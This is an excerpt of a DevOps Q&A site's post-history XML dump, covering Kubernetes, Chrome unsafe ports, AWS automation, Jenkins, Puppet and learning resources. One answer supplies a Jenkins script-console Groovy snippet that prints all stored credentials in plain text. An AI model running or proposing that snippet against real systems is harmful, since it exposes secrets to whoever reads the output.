quot;True&quot;,&quot;message&quot;:&quot;{\&quot;health\&quot;: \&quot;true\&quot;}&quot;}]},{&quot;metadata&quot;:{&quot;name&quot;:&quot;etcd-0&quot;,&quot;selfLink&quot;:&quot;/api/v1/componentstatuses/etcd-0&quot;,&quot;creationTimestamp&quot;:null},&quot;conditions&quot;:[{&quot;type&quot;:&quot;Healthy&quot;,&quot;status&quot;:&quot;True&quot;,&quot;message&quot;:&quot;{\&quot;health\&quot;: \&quot;true\&quot;}&quot;}]}]}&#xD;&#xA;I0723 13:16:52.693112   95389 table_printer.go:43] Unable to decode server response into a Table. Falling back to hardcoded types: attempt to decode non-Table object into a v1beta1.Table&#xD;&#xA;I0723 13:16:52.693491   95389 table_printer.go:43] Unable to decode server response into a Table. Falling back to hardcoded types: attempt to decode non-Table object into a v1beta1.Table&#xD;&#xA;I0723 13:16:52.693534   95389 table_printer.go:43] Unable to decode server response into a Table. Falling back to hardcoded types: attempt to decode non-Table object into a v1beta1.Table&#xD;&#xA;I0723 13:16:52.693556   95389 table_printer.go:43] Unable to decode server response into a Table. Falling back to hardcoded types: attempt to decode non-Table object into a v1beta1.Table&#xD;&#xA;NAME                 STATUS    MESSAGE              ERROR&#xD;&#xA;scheduler            Healthy   ok&#xD;&#xA;controller-manager   Healthy   ok&#xD;&#xA;etcd-1               Healthy   {&quot;health&quot;: &quot;true&quot;}&#xD;&#xA;etcd-0               Healthy   {&quot;health&quot;: &quot;true&quot;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="25441" PostHistoryTypeId="1" PostId="8686" RevisionGUID="7323339a-a6f4-40f5-ada5-b70c57b095ac" CreationDate="2019-07-23T17:31:41.153" UserId="7620" Text="kube-controller-manager unable to communicate with etcd" ContentLicense="CC BY-SA 4.0" />
  <row Id="25442" PostHistoryTypeId="3" PostId="8686" RevisionGUID="7323339a-a6f4-40f5-ada5-b70c57b095ac" CreationDate="2019-07-23T17:31:41.153" UserId="7620" Text="&lt;amazon-web-services&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25443" PostHistoryTypeId="2" PostId="8687" RevisionGUID="78b526ad-267f-43eb-8f46-fee8dc4ac2c3" CreationDate="2019-07-23T18:15:29.493" UserId="16146" Text="The problem is that port 6666 is considered unsafe by Chrome (hence the `ERR_UNSAFE_PORT` error), as it clashes with one used by Alternate IRC [Apple addition].&#xD;&#xA;&#xD;&#xA;I looked into this and found a list of [ports to avoid](https://superuser.com/a/188070/178675), so as to avoid having to modify the Chrome shortcut as recommended by @Wesley Rolnick.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;1,       // tcpmux&#xD;&#xA;7,       // echo&#xD;&#xA;9,       // discard&#xD;&#xA;11,      // systat&#xD;&#xA;13,      // daytime&#xD;&#xA;15,      // netstat&#xD;&#xA;17,      // qotd&#xD;&#xA;19,      // chargen&#xD;&#xA;20,      // ftp data&#xD;&#xA;21,      // ftp access&#xD;&#xA;22,      // ssh&#xD;&#xA;23,      // telnet&#xD;&#xA;25,      // smtp&#xD;&#xA;37,      // time&#xD;&#xA;42,      // name&#xD;&#xA;43,      // nicname&#xD;&#xA;53,      // domain&#xD;&#xA;77,      // priv-rjs&#xD;&#xA;79,      // finger&#xD;&#xA;87,      // ttylink&#xD;&#xA;95,      // supdup&#xD;&#xA;101,     // hostriame&#xD;&#xA;102,     // iso-tsap&#xD;&#xA;103,     // gppitnp&#xD;&#xA;104,     // acr-nema&#xD;&#xA;109,     // pop2&#xD;&#xA;110,     // pop3&#xD;&#xA;111,     // sunrpc&#xD;&#xA;113,     // auth&#xD;&#xA;115,     // sftp&#xD;&#xA;117,     // uucp-path&#xD;&#xA;119,     // nntp&#xD;&#xA;123,     // NTP&#xD;&#xA;135,     // loc-srv /epmap&#xD;&#xA;139,     // netbios&#xD;&#xA;143,     // imap2&#xD;&#xA;179,     // BGP&#xD;&#xA;389,     // ldap&#xD;&#xA;427,     // SLP (Also used by Apple Filing Protocol)&#xD;&#xA;465,     // smtp+ssl&#xD;&#xA;512,     // print / exec&#xD;&#xA;513,     // login&#xD;&#xA;514,     // shell&#xD;&#xA;515,     // printer&#xD;&#xA;526,     // tempo&#xD;&#xA;530,     // courier&#xD;&#xA;531,     // chat&#xD;&#xA;532,     // netnews&#xD;&#xA;540,     // uucp&#xD;&#xA;548,     // AFP (Apple Filing Protocol)&#xD;&#xA;556,     // remotefs&#xD;&#xA;563,     // nntp+ssl&#xD;&#xA;587,     // stmp?&#xD;&#xA;601,     // ??&#xD;&#xA;636,     // ldap+ssl&#xD;&#xA;993,     // ldap+ssl&#xD;&#xA;995,     // pop3+ssl&#xD;&#xA;2049,    // nfs&#xD;&#xA;3659,    // apple-sasl / PasswordServer&#xD;&#xA;4045,    // lockd&#xD;&#xA;6000,    // X11&#xD;&#xA;6665,    // Alternate IRC [Apple addition]&#xD;&#xA;6666,    // Alternate IRC [Apple addition]&#xD;&#xA;6667,    // Standard IRC [Apple addition]&#xD;&#xA;6668,    // Alternate IRC [Apple addition]&#xD;&#xA;6669,    // Alternate IRC [Apple addition]&#xD;&#xA;6697,    // IRC + TLS&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="25447" PostHistoryTypeId="2" PostId="8689" RevisionGUID="bdbe591b-94f2-45ac-8990-42ba85b98d09" CreationDate="2019-07-23T21:31:47.287" UserId="9754" Text="The issues were a lot, but the main one was not using Targets properly and then some YAML syntax problems.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA;description: &quot;Example&quot;&#xD;&#xA;schemaVersion: &quot;0.3&quot;&#xD;&#xA;assumeRole: &quot;arn:aws:iam::{ID}:role/Example&quot;&#xD;&#xA;# parameters:&#xD;&#xA;#   InstanceId:&#xD;&#xA;#     type: &quot;StringList&quot;&#xD;&#xA;#     description: &quot;(Required) EC2 Instance(s) to start&quot;&#xD;&#xA;#   AutomationAssumeRole:&#xD;&#xA;#     type: &quot;String&quot;&#xD;&#xA;#     description: &quot;(Optional) The ARN of the role that allows Automation to perform the actions on your behalf.&quot;&#xD;&#xA;#     default: &quot;&quot;&#xD;&#xA;mainSteps:&#xD;&#xA;## STEP 1&#xD;&#xA;- name: StartExampleServiceOnServer1&#xD;&#xA;  action: aws:runCommand&#xD;&#xA;  maxAttempts: 2&#xD;&#xA;  inputs:&#xD;&#xA;    DocumentName: AWS-RunPowerShellScript&#xD;&#xA;    Targets:&#xD;&#xA;    - Key: tag:Name&#xD;&#xA;      Values:&#xD;&#xA;      - ExampleOne-SomeService-Dev&#xD;&#xA;    Parameters:&#xD;&#xA;      commands:&#xD;&#xA;      # Start service for SomeService&#xD;&#xA;      - Start-Service -Name &quot;ExampleOne&quot;&#xD;&#xA;      - Start-Sleep -s 30&#xD;&#xA;  nextStep: ...&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="25448" PostHistoryTypeId="2" PostId="8690" RevisionGUID="403d9d78-a6c6-4e39-ae70-b31b3cc15c82" CreationDate="2019-07-23T22:13:28.627" UserId="16157" Text="Googling &quot;how to start with devops&quot; didn't really help as, many of them like [this][1] and [this][2] as well as many others don't really point me in the right way. Every youtube video I have seen so far hasn't helped either (as I don't need videos explaining to me what IS devops), [this][3] video being the only true exception so far (that shows how things integrate with each other).&#xD;&#xA;&#xD;&#xA;I am a CCNA and also highly proficient with DBMS-s (currently learning parallelism execution as well as other stuff). &#xD;&#xA;&#xD;&#xA;But I have no idea what I am supposed to learn first (or where to find the **correct** resources for that matter).&#xD;&#xA;&#xD;&#xA;Keep in mind I am basically about to graduate, so I have no access to real world experience. Thank you in advance for any advice or help you give me.&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.com/9%C2%BD-simple-steps-start-devops-today/&#xD;&#xA;  [2]: https://hackernoon.com/the-roadmap-to-become-a-devops-dude-from-server-to-serverless-dd97420f640e&#xD;&#xA;  [3]: https://youtu.be/JHoy3lDZOfY" ContentLicense="CC BY-SA 4.0" />
  <row Id="25449" PostHistoryTypeId="1" PostId="8690" RevisionGUID="403d9d78-a6c6-4e39-ae70-b31b3cc15c82" CreationDate="2019-07-23T22:13:28.627" UserId="16157" Text="Where to start learning" ContentLicense="CC BY-SA 4.0" />
  <row Id="25450" PostHistoryTypeId="3" PostId="8690" RevisionGUID="403d9d78-a6c6-4e39-ae70-b31b3cc15c82" CreationDate="2019-07-23T22:13:28.627" UserId="16157" Text="&lt;learning&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25451" PostHistoryTypeId="2" PostId="8691" RevisionGUID="5f18d965-41b7-422a-9d38-cd72553564a0" CreationDate="2019-07-23T22:21:21.153" UserId="16158" Text="I have a process (exe) on a windows ec2 that is using up lots of memory. I would like to create a custom metric that will collect data and send to CloudWatch. I would like to also create an alarm when a certain threshold has been reached or surpassed. &#xD;&#xA;&#xD;&#xA;Thanks in advance." ContentLicense="CC BY-SA 4.0" />
  <row Id="25452" PostHistoryTypeId="1" PostId="8691" RevisionGUID="5f18d965-41b7-422a-9d38-cd72553564a0" CreationDate="2019-07-23T22:21:21.153" UserId="16158" Text="Custome metric for a windows process on a windows ec2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25453" PostHistoryTypeId="3" PostId="8691" RevisionGUID="5f18d965-41b7-422a-9d38-cd72553564a0" CreationDate="2019-07-23T22:21:21.153" UserId="16158" Text="&lt;amazon-ec2&gt;&lt;windows&gt;&lt;amazon-cloudwatch&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25454" PostHistoryTypeId="2" PostId="8692" RevisionGUID="6128ea86-8032-49b4-bb0f-4ca6aab8b627" CreationDate="2019-07-23T23:36:17.910" UserId="16159" Text="Here is a short snippet you can just run from the jenkins script console, to dump all of your credentials to plain text.&#xD;&#xA;&#xD;&#xA;&lt;!-- language: groovy --&gt;&#xD;&#xA;&#xD;&#xA;    com.cloudbees.plugins.credentials.SystemCredentialsProvider.getInstance().getCredentials().forEach{&#xD;&#xA;      it.properties.each { prop, val -&gt;&#xD;&#xA;        println(prop + ' = &quot;' + val + '&quot;')&#xD;&#xA;      }&#xD;&#xA;      println(&quot;-----------------------&quot;)&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="25455" PostHistoryTypeId="50" PostId="6121" RevisionGUID="13cb1d6c-0a38-4a06-9d60-fd51007b8c7e" CreationDate="2019-07-24T01:02:30.323" UserId="-1" />
  <row Id="25456" PostHistoryTypeId="2" PostId="8693" RevisionGUID="6f1d4314-0874-4c55-8362-a197abb5ee95" CreationDate="2019-07-24T05:51:41.000" UserId="12305" Text="Memory consumption is a metric that has to be reported from inside the guest (EC2 instance).  You can [use a CloudWatch agent](https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/Install-CloudWatch-Agent.html) to collect metrics from the guest directly. The agent also [supports custom metrics](https://aws.amazon.com/about-aws/whats-new/2018/09/amazon-cloudwatch-agent-adds-custom-metrics-support/) now.&#xD;&#xA;&#xD;&#xA;Alternatively, install a third party monitoring system. Which also means that you'll have to get an agent running on the EC2 instance. There are many of those, choose whatever fits your environment." ContentLicense="CC BY-SA 4.0" />
  <row Id="25457" PostHistoryTypeId="2" PostId="8694" RevisionGUID="18837791-dd69-457f-b28c-df3e8fda2bdb" CreationDate="2019-07-24T08:08:32.420" UserId="10487" Text="This is the kind of question I have been asking myself many times, and that tends to follow me (now that I am barely out of &quot;beginner&quot;, I am wondering where to learn more advanced topics). Sadly, as you pointed out, asking those questions on search engine tends to flood with websites targeting executives and trying to explain _What is devops?_ and _Why should we industrialize the software cycle with devops?_&#xD;&#xA;&#xD;&#xA;That being said, to try and answer your question, I can only speak from personal experience: I started my learning journey with the excellent [Docker Get started guide][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/get-started/" ContentLicense="CC BY-SA 4.0" />
  <row Id="25461" PostHistoryTypeId="2" PostId="8696" RevisionGUID="ee057d3b-e827-4f3a-90f4-2ef0b3155b8e" CreationDate="2019-07-24T09:33:59.173" UserId="15388" Text="Devops relate to the execution of software. It is all about how to run an application or service. So server configuration tools, virtual machines and containers are the next steps. I suggest looking at the documentation of those tools and learning from them things like discovery, observability, scalability and redundancy. Just to name some examples:&#xD;&#xA;&#xD;&#xA;Server config:&#xD;&#xA;&#xD;&#xA;- PXE&#xD;&#xA;- Ansible&#xD;&#xA;- Puppet&#xD;&#xA;&#xD;&#xA;VM:&#xD;&#xA;&#xD;&#xA;- Vagrant&#xD;&#xA;- QEMU&#xD;&#xA;&#xD;&#xA;Container:&#xD;&#xA;&#xD;&#xA;- Docker&#xD;&#xA;- Kubernetes&#xD;&#xA;&#xD;&#xA;When your software architecture is about microservices, then containers are a good choice. When you are using old monolithic applications then VMs are not a bad option. So it always depends on the context what you need to learn specifically.&#xD;&#xA;The topic is rather broad to summarize it. A book might help with that but sadly I cannot suggest a good broad one. &quot;Kubernetes in Action&quot; gives you a good start in Kubernetes though." ContentLicense="CC BY-SA 4.0" />
  <row Id="25462" PostHistoryTypeId="2" PostId="8697" RevisionGUID="d7a8f0bf-a07e-478b-8807-f24642571627" CreationDate="2019-07-24T09:55:04.620" UserId="16133" Text="&quot;Learning DevOps&quot; strikes me as too broad a query, as you also found out, but I can remember having to google the same thing.&#xD;&#xA;&#xD;&#xA;To add to @jhamfler's answer: Ask yourself, why do you want to learn about it? Which context are you coming from? DevOps usually has to do with breaking down manual hurdles, or also silo structures in teams (everyone just doing their own task and relying on somebody else to think about integrating the results). Are there such &quot;gaps&quot; in your project (I assume you have one)? What parts of it could benefit from automation? &#xD;&#xA;&#xD;&#xA;Typical problems I could suggest are: &#xD;&#xA;&#xD;&#xA;* manual server maintenance VS scripted solutions&#xD;&#xA;* reliability and backups&#xD;&#xA;* automating integration tests &#xD;&#xA;* automating continuous deployment (e.g. of a web service)&#xD;&#xA;* ...&#xD;&#xA;&#xD;&#xA;Perhaps a search for &quot;continuous deployment&quot; and &quot;continuous integration&quot; (CI/CD) could also help you." ContentLicense="CC BY-SA 4.0" />
  <row Id="25463" PostHistoryTypeId="2" PostId="8698" RevisionGUID="89469e8e-6a80-4bcf-9e77-62c49b7944bc" CreationDate="2019-07-24T09:57:06.243" UserId="354" Text="Other answers here have focussed on tools. In my opinion, gaining competence in a toolkit is of course a good thing, but will not make you a good fit in a DevOps culture. DevOps is first a set of _practices_, or _methods_.&#xD;&#xA;&#xD;&#xA;Understanding _why_ thes practices and methods are useful comes with experience, but you don't have that luxury. I would therefore point you to &#xD;&#xA;&#xD;&#xA;- [the DevOps Handboox](https://www.amazon.com/DevOps-Handbook-World-Class-Reliability-Organizations/dp/1942788002)&#xD;&#xA;- [Accelerate](https://www.amazon.com/dp/1942788339?tag=contindelive-20)&#xD;&#xA;&#xD;&#xA;as a foundational texts.&#xD;&#xA;&#xD;&#xA;The [Continuous Delivery website](https://continuousdelivery.com/) also has a set of [Principles](https://continuousdelivery.com/principles/) and [Foundations](https://continuousdelivery.com/foundations/) which give you the relevant grounding when starting.&#xD;&#xA;&#xD;&#xA;Starting from these, you will learn practice and methods, which will inform _how_ you collaborate and use tools." ContentLicense="CC BY-SA 4.0" />
  <row Id="25464" PostHistoryTypeId="5" PostId="8682" RevisionGUID="7950b4cd-1408-4bde-b89c-e9f36f3b6178" CreationDate="2019-07-24T10:19:14.390" UserId="354" Comment="Clean up grammar." Text="They are likely in the user's home folder, or the folder in which packer is running.&#xD;&#xA;&#xD;&#xA;You can look at `~/.ssh`.&#xD;&#xA;&#xD;&#xA;Also you can specify you own [keypair][1].&#xD;&#xA;&#xD;&#xA;  [1]: https://packer.io/docs/builders/amazon-instance.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="25465" PostHistoryTypeId="24" PostId="8682" RevisionGUID="7950b4cd-1408-4bde-b89c-e9f36f3b6178" CreationDate="2019-07-24T10:19:14.390" Comment="Proposed by 354 approved by -1 edit id of 1035" ContentLicense="CC BY-SA 4.0" />
  <row Id="25466" PostHistoryTypeId="5" PostId="8682" RevisionGUID="d73b3ca5-61c6-4406-8cba-6fe519874df6" CreationDate="2019-07-24T10:19:14.390" UserId="40" Comment="deleted 5 characters in body" Text="They are likely in the user's home folder, or the folder in which packer is running.&#xD;&#xA;&#xD;&#xA;You can look at `~/.ssh`, or you can specify you own [keypair][1].&#xD;&#xA;&#xD;&#xA;  [1]: https://packer.io/docs/builders/amazon-instance.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="25467" PostHistoryTypeId="5" PostId="8691" RevisionGUID="52245e06-665f-48cc-8c97-80c1a48139e8" CreationDate="2019-07-24T10:20:16.517" UserId="354" Comment="minor grammar fixes" Text="I have a process (exe) on a Windows ec2 that is using up lots of memory. I would like to create a custom metric that will collect data and send to CloudWatch. I would like to also create an alarm when a certain threshold has been reached or surpassed. &#xD;&#xA;&#xD;&#xA;Thanks in advance." ContentLicense="CC BY-SA 4.0" />
  <row Id="25468" PostHistoryTypeId="4" PostId="8691" RevisionGUID="52245e06-665f-48cc-8c97-80c1a48139e8" CreationDate="2019-07-24T10:20:16.517" UserId="354" Comment="minor grammar fixes" Text="Custom metric for a windows process on a windows ec2 instance" ContentLicense="CC BY-SA 4.0" />
  <row Id="25469" PostHistoryTypeId="24" PostId="8691" RevisionGUID="52245e06-665f-48cc-8c97-80c1a48139e8" CreationDate="2019-07-24T10:20:16.517" Comment="Proposed by 354 approved by -1 edit id of 1034" ContentLicense="CC BY-SA 4.0" />
  <row Id="25470" PostHistoryTypeId="5" PostId="8691" RevisionGUID="3e10366f-9591-498d-a12a-d7a4c32cb905" CreationDate="2019-07-24T10:20:16.517" UserId="40" Comment="deleted 22 characters in body; edited title" Text="I have a process (exe) on a Windows ec2 that is using up lots of memory. I would like to create a custom metric that will collect data and send to CloudWatch. I would like to also create an alarm when a certain threshold has been reached or surpassed. " ContentLicense="CC BY-SA 4.0" />
  <row Id="25471" PostHistoryTypeId="4" PostId="8691" RevisionGUID="3e10366f-9591-498d-a12a-d7a4c32cb905" CreationDate="2019-07-24T10:20:16.517" UserId="40" Comment="deleted 22 characters in body; edited title" Text="Custom metric for a Windows process on a Windows ec2 instance" ContentLicense="CC BY-SA 4.0" />
  <row Id="25472" PostHistoryTypeId="52" PostId="8690" RevisionGUID="81d5306b-b364-45cb-ac9b-52efbff813c1" CreationDate="2019-07-24T10:22:17.037" />
  <row Id="25476" PostHistoryTypeId="5" PostId="1623" RevisionGUID="841d78a5-87c6-4475-8a47-9faa7e1b65ee" CreationDate="2019-07-24T13:09:03.100" UserId="519" Comment="minor update for ACI usage" Text="[Azure Container Instances](https://azure.microsoft.com/en-us/blog/announcing-azure-container-instances/)&#xD;&#xA; (ACI) may be a good option as you suggest.  These let you run a container directly on Azure, without having to manage a VM, with per-second billing for the time the container is used.  &#xD;&#xA;&#xD;&#xA;Although one of the demos on that blog mentions Kubernetes, the idea of ACI is that you can create a container through the Azure CLI with `az container create`, just like on your local workstation with `docker create`.&#xD;&#xA;&#xD;&#xA;To create the container, you can use Azure CLI (`az` command, see [quick start docs](https://docs.microsoft.com/en-us/azure/container-instances/container-instances-quickstart)) or Azure Cloud Shell.&#xD;&#xA;&#xD;&#xA;You would need to create/run the container on a schedule from somewhere else - Azure Functions might be a good place to run the &quot;container create&quot; command from  a [scheduled function](https://docs.microsoft.com/en-us/azure/azure-functions/functions-create-scheduled-function).  This supports [bash, PowerShell, and other languages](https://docs.microsoft.com/en-us/azure/azure-functions/functions-overview) - all running on Windows.&#xD;&#xA;&#xD;&#xA;If you want to keep using Docker containers without running VMs or learning Kubernetes, this might be a good option.  &#xD;&#xA;&#xD;&#xA;Alternatively, you could move all your code into Azure Functions, but that's a bigger decision.&#xD;&#xA;&#xD;&#xA;**Update:** Jan 2019 - Azure Logic Apps [can be used to run scheduled tasks](https://docs.microsoft.com/en-us/azure/scheduler/migrate-from-scheduler-to-logic-apps) as well." ContentLicense="CC BY-SA 4.0" />
  <row Id="25482" PostHistoryTypeId="2" PostId="8702" RevisionGUID="24e8fefe-bf0e-4056-b3d9-1a8d45c91690" CreationDate="2019-07-24T17:10:58.917" UserId="10607" Text="You can use Ansible’s template module transfers templated files to remote hosts. &#xD;&#xA;It works similarly to the copy module, but with  major difference:&#xD;&#xA;&#xD;&#xA;You can use the jinja2 templating language in your files, which will be templated out separately for each remote host and you can have conditional statements, loops, filters for transforming the data, do arithmetic calculations, etc. &#xD;&#xA;&#xD;&#xA;    - hosts: all  &#xD;&#xA;      tasks:&#xD;&#xA;    &#xD;&#xA;        - name: Update config on remote servers &#xD;&#xA;          template:&#xD;&#xA;            #src: Update_config.j2  using jinja2 templating language, if we need  &#xD;&#xA;                                   transforming data &#xD;&#xA;            src: /data/new_config  # Static &#xD;&#xA;            dest: /opt/zservice/etc/config&#xD;&#xA;            force: yes&#xD;&#xA;            backup: yes&#xD;&#xA;&#xD;&#xA;For more details see [ansible template module][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/modules/template_module.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="25483" PostHistoryTypeId="2" PostId="8703" RevisionGUID="de44c4bc-1112-463a-9891-9bd4d6e64342" CreationDate="2019-07-25T00:25:05.933" UserId="16122" Text="I want pull requests to Git where the target is master and the source has a string &quot;foo&quot; to trigger a Jenkins build.&#xD;&#xA;&#xD;&#xA;If this string &quot;foo&quot; appears in the source branch's name when there is a pull request, I want the Jenkins build to start.&#xD;&#xA;&#xD;&#xA;The only way I can think of doing something this sophisticated is to put the logic into a Jenkins pipeline file.  Is there a plugin or supported way of making this work?  I am not using Github.&#xD;&#xA;&#xD;&#xA;Is there a way to filter any branch that does not have &quot;foo&quot; in it?  How do I trigger a build based on a pull request?  I tried doing this by itself (without the search for the pattern &quot;foo&quot;), and even that failed.  There were no errors, but I know Jenkins was authenticating to Git with the credentials I configured in Jenkins.  The Jenkins job would not run when the conditions I configured were met." ContentLicense="CC BY-SA 4.0" />
  <row Id="25484" PostHistoryTypeId="1" PostId="8703" RevisionGUID="de44c4bc-1112-463a-9891-9bd4d6e64342" CreationDate="2019-07-25T00:25:05.933" UserId="16122" Text="How do I configure Jenkins to trigger on a pull request based on the Git branch's name?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25485" PostHistoryTypeId="3" PostId="8703" RevisionGUID="de44c4bc-1112-463a-9891-9bd4d6e64342" CreationDate="2019-07-25T00:25:05.933" UserId="16122" Text="&lt;jenkins&gt;&lt;git&gt;&lt;automation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25489" PostHistoryTypeId="2" PostId="8704" RevisionGUID="301e24e4-19e4-4ba5-a094-38a31a3c356e" CreationDate="2019-07-25T07:12:17.777" UserId="16190" Text="The very first things you need to learn and get comfortable with:&#xD;&#xA;&#xD;&#xA;* unix (file system, permissions, processes, services, logs, networking, etc…)&#xD;&#xA;* ssh &amp; reverse tunneling&#xD;&#xA;* nano/vim&#xD;&#xA;* python&#xD;&#xA;* git&#xD;&#xA;&#xD;&#xA;Then you could move on to more specific topics:&#xD;&#xA;&#xD;&#xA;* containerization (e.g. docker)&#xD;&#xA;* configuration management (e.g. ansible)&#xD;&#xA;* continuous deployment (e.g. jenkins)&#xD;&#xA;* monitoring (e.g. prometheus/grafana)&#xD;&#xA;* etc…&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25490" PostHistoryTypeId="2" PostId="8705" RevisionGUID="36eb825b-f7aa-41b0-8b63-b3c1995f82b7" CreationDate="2019-07-25T09:50:34.683" UserId="6579" Text="Using a multi-branch pipeline you have several different ways of filtering branches, take for instance a regular expression for &quot;foo&quot;. In order to use this job type, you must create a Jenkinsfile in your repo with build instructions using the scripted or declarative syntax. The term pull request is typically synonymous with services like Github and Bitbucket. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![multibranch pipeline branch source][1]][1]  &#xD;&#xA;&#xD;&#xA;You can also filter within the pipeline itself using declarative syntax:&#xD;&#xA;&#xD;&#xA;    when {changeRequest branch: &quot;foo.*&quot;, comparator: 'REGEXP' }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;And also scripted syntax:&#xD;&#xA;&#xD;&#xA;    if (env.BRANCH_NAME ==~ /foo.*/){  &#xD;&#xA;        ...&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;[1]: https://i.stack.imgur.com/TE8VV.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="25491" PostHistoryTypeId="2" PostId="8706" RevisionGUID="53190fed-1bed-4459-ac9a-5e74ece8c086" CreationDate="2019-07-25T11:36:13.413" UserId="16194" Text="I am attempting to use an EPP template in Puppet 6.2.0. &#xD;&#xA;&#xD;&#xA;I have the following file /etc/puppetlabs/code/modules/profile/manifests/linux/base/dns.pp :&#xD;&#xA;&#xD;&#xA;    class profile::linux::base::dns {&#xD;&#xA;      file { '/etc/resolv.conf':&#xD;&#xA;        path =&gt; '/etc/resolv.conf',&#xD;&#xA;        ensure =&gt; file,&#xD;&#xA;        owner =&gt; root,&#xD;&#xA;        group =&gt; root,&#xD;&#xA;        mode =&gt; 0644,&#xD;&#xA;        content =&gt; epp('etc/resolv.conf.epp'),&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The EPP template file is /etc/puppetlabs/code/modules/profile/templates/etc/resolv.conf.epp:&#xD;&#xA;&#xD;&#xA;    # This file is managed by Puppet. Manual modifications will be overridden.&#xD;&#xA;    domain &lt;%= lookup('profile::linux::base::domainName') %&gt;&#xD;&#xA;&#xD;&#xA;However, the catalog does not compile with the error : 'Could not find template 'etc/resolv.conf.epp'&#xD;&#xA;&#xD;&#xA;Why can this module not find the template, when it resides in the modules own template directory? " ContentLicense="CC BY-SA 4.0" />
  <row Id="25492" PostHistoryTypeId="1" PostId="8706" RevisionGUID="53190fed-1bed-4459-ac9a-5e74ece8c086" CreationDate="2019-07-25T11:36:13.413" UserId="16194" Text="Puppet cannot find epp template" ContentLicense="CC BY-SA 4.0" />
  <row Id="25493" PostHistoryTypeId="3" PostId="8706" RevisionGUID="53190fed-1bed-4459-ac9a-5e74ece8c086" CreationDate="2019-07-25T11:36:13.413" UserId="16194" Text="&lt;puppet&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25497" PostHistoryTypeId="5" PostId="8696" RevisionGUID="fd518793-bf4d-49a4-bed6-5c4444288111" CreationDate="2019-07-25T12:56:16.910" UserId="15388" Comment="added more information based on suggestion in comments" Text="Devops relate to the execution of software. It is all about how to run an application or service. So server configuration tools, virtual machines and containers are the next steps. I suggest looking at the documentation of those tools and learning from them things like discovery, observability, scalability and redundancy. Just to name some examples:&#xD;&#xA;&#xD;&#xA;Server config:&#xD;&#xA;&#xD;&#xA;- PXE&#xD;&#xA;- Ansible&#xD;&#xA;- Puppet&#xD;&#xA;&#xD;&#xA;VM:&#xD;&#xA;&#xD;&#xA;- Vagrant&#xD;&#xA;- QEMU&#xD;&#xA;&#xD;&#xA;Container:&#xD;&#xA;&#xD;&#xA;- Docker&#xD;&#xA;- Kubernetes&#xD;&#xA;&#xD;&#xA;EDIT: Cloud technologies overview:&#xD;&#xA;&#xD;&#xA;- [CNCF landscape][1]&#xD;&#xA;&#xD;&#xA;When your software architecture is about microservices, then containers are a good choice. When you are using old monolithic applications then VMs are not a bad option. So it always depends on the context what you need to learn specifically.&#xD;&#xA;The topic is rather broad to summarize it. A book might help with that but sadly I cannot suggest a good broad one. &quot;Kubernetes in Action&quot; gives you a good start in Kubernetes though.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://landscape.cncf.io/images/landscape.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="25498" PostHistoryTypeId="2" PostId="8708" RevisionGUID="fb871558-9712-4557-afda-4f3bc44cffb2" CreationDate="2019-07-25T14:13:38.797" UserId="16194" Text="Ah I worked it out now.  The epp call needs the module name in it:&#xD;&#xA;&#xD;&#xA;    content =&gt; epp('moduleName/file.epp')" ContentLicense="CC BY-SA 4.0" />
  <row Id="25502" PostHistoryTypeId="2" PostId="8710" RevisionGUID="4ef906ed-8e5b-4d4d-b4ec-46d0dc80b1a7" CreationDate="2019-07-25T15:21:29.537" UserId="16198" Text="I was looking to setup automated docker builds when a push is made to our bitbucket server. The only issue is that our Bitbucket is not cloud based, its an on premise private server. Is there a way to configure automated builds for the docker hub when a push is made to our private server? Obviously Docker can't see our private server, but is there a way to accomplish the same thing using web hooks in the private bitbucket repo?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25503" PostHistoryTypeId="1" PostId="8710" RevisionGUID="4ef906ed-8e5b-4d4d-b4ec-46d0dc80b1a7" CreationDate="2019-07-25T15:21:29.537" UserId="16198" Text="Automated docker builds with private bitbucket server" ContentLicense="CC BY-SA 4.0" />
  <row Id="25504" PostHistoryTypeId="3" PostId="8710" RevisionGUID="4ef906ed-8e5b-4d4d-b4ec-46d0dc80b1a7" CreationDate="2019-07-25T15:21:29.537" UserId="16198" Text="&lt;docker&gt;&lt;bitbucket-server&gt;" ContentLicense="CC BY-SA 4.0" />
